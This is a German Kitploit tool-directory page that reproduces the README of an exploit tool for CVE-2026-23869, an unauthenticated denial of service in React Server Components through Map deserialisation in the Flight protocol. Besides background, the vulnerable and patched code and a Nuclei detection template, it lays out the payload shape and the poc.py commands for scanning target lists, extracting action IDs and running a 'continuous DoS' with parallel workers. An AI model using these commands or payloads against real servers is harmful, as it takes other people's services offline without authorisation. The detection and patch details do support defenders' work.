Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-23869-Exploit — Automatisiertes Exploit-Tool für CVE-2026-23869, einen Remote-DoS in React Server Components. Enthält PoC, Nuclei-Template und Scan-Skripte zur Erkennung und Ausnutzung. | Kitploit
Tools/GitHubGitHub/cybertechajju/cve-2026-23869-exploit
AufklärungSchwachstellenscannerExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubcybertechajju/cve-2026-23869-exploit

CVE-2026-23869-Exploit

Automatisiertes Exploit-Tool für CVE-2026-23869, einen Remote-DoS in React Server Components. Enthält PoC, Nuclei-Template und Scan-Skripte zur Erkennung und Ausnutzung.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
9112vor 5 MonatenNoch nicht geprüft

CVE Severity React Next.js Type

⚡ CVE-2026-23869 — React2DoS

Nicht authentifizierter Remote-Denial-of-Service über das React-Flight-Protokoll
Quadratische CPU-Erschöpfung bei der Map-Deserialisierung von Server Components

Überblick • Funktionsweise • Tools • Installation • Verwendung • Nuclei • Behebung • Haftungsausschluss


Überblick über die Schwachstelle

FeldDetail
CVE-IDCVE-2026-23869
AliasReact2DoS
CVSS-Score7.5 (Hoch)
CVSS-VektorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWECWE-400 (Unkontrollierter Ressourcenverbrauch)
TypNicht authentifizierter Remote-Denial-of-Service
Entdeckt vonYohann Sillam (Imperva Threat Research)
Betroffenreact-server-dom-webpack / parcel / turbopack ≤ 19.2.4
BehobenReact 19.2.5+ / Next.js 15.5.15+ / 16.2.3+

Eine kritische Denial-of-Service-Schwachstelle existiert in der Deserialisierung des Flight-Protokolls von React Server Components. Ein nicht authentifizierter Angreifer kann eine einzelne präparierte HTTP-Anfrage an einen beliebigen Server Action-Endpunkt der Next.js App Router senden, was eine quadratische O(n²)-CPU-Erschöpfung verursacht, die den Server für Minuten blockiert.

Referenzen

  • Offizielles Advisory von Vercel
  • Technische Analyse von Imperva — „React2DoS"
  • React-Patch PR #36236
  • NVD-Eintrag

Funktionsweise

Der Fehler: Fehlendes consumed-Flag bei der Map-Deserialisierung

Das React-Flight-Protokoll verwendet spezielle Marker, um Datentypen zu serialisieren. $Q repräsentiert ein Map-Objekt. Wenn der Server eine Nutzlast mit selbstreferenzierenden $Q0-Markern empfängt:

Payload: [ [1,1], [1,1], ...(n gültige Einträge)..., "$Q0", "$Q0", ...(n Referenzen)... ]

Jedes $Q0 löst einen new Map()-Konstruktor aus, der über alle n gültigen Einträge iteriert. Der Map-Konstruktor wirft einen Fehler (weil die Einträge fehlerhaft sind), aber der kritische Fehler ist: das consumed-Flag wird bei einem Fehler nie gesetzt.

Das bedeutet, dass das nächste $Q0 dieselbe Map von Grund auf neu berechnet → was eine O(n²)-Komplexität erzeugt:

n gültige Einträge × n $Q0-Referenzen = n² Map-Konstruktoraufrufe

Beispiel: 65.000 × 65.000 = 4.225.000.000 Operationen
Ergebnis:  Eine einzelne Anfrage blockiert die CPU für 5-10+ Minuten

Angriffsablauf

┌──────────┐     POST / (multipart/form-data)      ┌──────────────────┐
│ Angreifer │ ──────────────────────────────────────▶ │  Next.js-Server  │
│          │     Header: Next-Action: <action_id>   │                  │
│          │     Body: [[1,1]...,"$Q0","$Q0"...]    │  ██████████ CPU  │
│          │                                        │  100% BLOCKIERT  │
└──────────┘                                        │  für ~5-10 Min   │
                                                    └──────────────────┘

Verwundbarer Code (Vor dem Fix)

// ReactFlightReplyServer.js — VOR dem Patch
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  return new Map(data);  // ← Schlägt fehl, setzt aber consumed = true nicht
                         //   Nächstes $Q0 berechnet von Grund auf neu
}

Gepatchter Code (Nach dem Fix)

// ReactFlightReplyServer.js — NACH dem Patch (React 19.2.5+)
case "Q": {
  const data = getOutlinedModel(response, id, obj);
  obj.consumed = true;   // ← Fix: Flag VOR der Konstruktion setzen
  return new Map(data);  //   Verhindert wiederholte Neuberechnung
}

Enthaltene Tools

DateiBeschreibung
poc.pyVollautomatisches Exploit-Tool mit 4-Phasen-Pipeline (Recon → Extract → Detect → Exploit)
CVE-2026-23869.yamlNuclei-Erkennungsvorlage mit flussbasierter Orchestrierung
scan.shWrapper-Skript: httpx-Live-Filterung + Nuclei-Scan
extract-action-ids.shEigenständiger Server-Action-ID-Extraktor

Installation

# Repository klonen
git clone https://github.com/cybertechajju/CVE-2026-23869-Exploit.git
cd CVE-2026-23869-Exploit

# Python-Abhängigkeit installieren
pip install requests

# Skripte ausführbar machen
chmod +x poc.py scan.sh extract-action-ids.sh

Optionale Abhängigkeiten

# Für Nuclei-Vorlagen-Scans
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# Für Live-Zielfilterung
go install github.com/projectdiscovery/httpx/cmd/httpx@latest

Verwendung

🔥 Vollautomatischer Scan (Einzelnes Ziel)

Geben Sie einfach die URL an — das Tool erledigt alles automatisch:

python3 poc.py -u https://target.com

Was passiert:

  1. Phase 1 — Recon: Fingerprinting von Next.js (Header, HTML-Marker, Build-ID)
  2. Phase 2 — Extract: Findet Server-Action-IDs aus JS-Bundles
  3. Phase 3 — Detect: Sicherer zeitbasierter Schwachstellencheck (500-Einträge-Probe)
  4. Phase 4 — Report: Zeigt das Schwachstellen-Urteil mit Zeitanalyse

📋 Batch-Scan (Mehrere Ziele)

# Liste von Domains/IPs scannen
python3 poc.py -L targets.txt

# Mit JSON-Report-Ausgabe
python3 poc.py -L targets.txt -o results.json

🎯 Manueller Modus (Bekannte Action-ID)

# Nur sichere Erkennung
python3 poc.py -u https://target.com -a <ACTION_ID> --detect

# Einmaliger Exploit
python3 poc.py -u https://target.com -a <ACTION_ID> --single

# Kontinuierlicher DoS (10 Worker)
python3 poc.py -u https://target.com -a <ACTION_ID> --exploit -w 10

🔍 Nur Action-IDs extrahieren

python3 poc.py -u https://target.com --extract

⚙️ Alle Optionen

Optionen:
  -u, --url URL          Ziel-URL (einzelnes Ziel)
  -L, --list DATEI      Datei mit Ziel-URLs/IPs (eine pro Zeile)
  -a, --action-id ID     Server-Action-ID (automatische Extraktion überspringen)
  --detect               Nur Erkennung — sicher, nicht destruktiv (Standard)
  --single               Einmaliger Exploit nach der Erkennung
  --exploit              Kontinuierlicher DoS nach der Erkennung
  --extract              Nur Action-IDs extrahieren
  -l, --length N         Payload-Einträge (Standard: 130000)
  -w, --workers N        Parallele Worker (Standard: 5)
  -d, --delay SEK       Verzögerung zwischen Anfragen (Standard: 1.0)
  -o, --output DATEI    JSON-Report speichern
  -t, --threads N        Parallele Ziele für Listenscan (Standard: 3)

Abwärtskompatibilität

Die ursprüngliche PoC-Syntax funktioniert weiterhin:

python3 poc.py <ACTION_ID> <URL>

Nuclei-Vorlage

Schnellscan

# Einzelnes Ziel
nuclei -t ./CVE-2026-23869.yaml -u https://target.com -itags dos

# Mehrere Ziele
nuclei -t ./CVE-2026-23869.yaml -l targets.txt -itags dos
Tool herunterladen